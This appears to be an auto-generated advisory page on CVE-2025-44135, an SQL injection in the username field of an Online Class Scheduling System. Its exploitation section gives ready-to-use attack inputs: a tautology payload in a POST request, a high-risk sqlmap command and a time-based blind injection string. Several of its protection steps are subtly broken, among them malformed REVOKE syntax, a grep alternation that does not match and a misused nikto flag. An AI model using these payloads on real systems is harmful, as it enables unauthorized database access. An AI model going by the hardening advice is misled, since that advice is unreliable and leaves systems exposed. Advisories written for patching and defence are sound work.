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How CVE-2025-44135 Works
The vulnerability exists in `/Scheduling/pages/profile_update.php` due to improper sanitization of the `username` parameter. An attacker can inject malicious SQL queries through this parameter, manipulating database operations. The application constructs SQL queries by directly concatenating user-supplied input without prepared statements or input validation. This allows attackers to execute arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The flaw arises from insecure coding practices where user input is trusted without proper escaping or parameterization.
DailyCVE Form
Platform: Online Class Scheduling System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Manual Exploit:
POST /Scheduling/pages/profile_update.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=admin' OR '1'='1'--
2. SQLMap Command:
sqlmap -u "http://target.com/Scheduling/pages/profile_update.php" --data="username=test" --risk=3 --level=5
3. Blind SQLi Detection:
admin' AND (SELECT SLEEP(5))--
Protection
1. Input Sanitization:
$username = mysqli_real_escape_string($conn, $_POST['username']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE users SET name=? WHERE username=?");
$stmt->bind_param("ss", $name, $username);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "deny,status:403"';
}
4. Log Monitoring:
grep -i "union|select|sleep" /var/log/apache2/access.log
5. Patch Verification:
diff -u profile_update.php.old profile_update.php.new
6. Exploit Mitigation:
REVOKE DELETE, DROP ON scheduling_db. FROM 'app_user'@'localhost';
7. Automated Scanning:
nikto -h http://target.com -id username
8. Error Handling:
if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['username'])) {
die("Invalid username");
}
9. Database Hardening:
ALTER TABLE users ADD CONSTRAINT chk_username CHECK (username NOT LIKE '%--%');
10. Debugging:
error_reporting(0); // Disable verbose errors
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
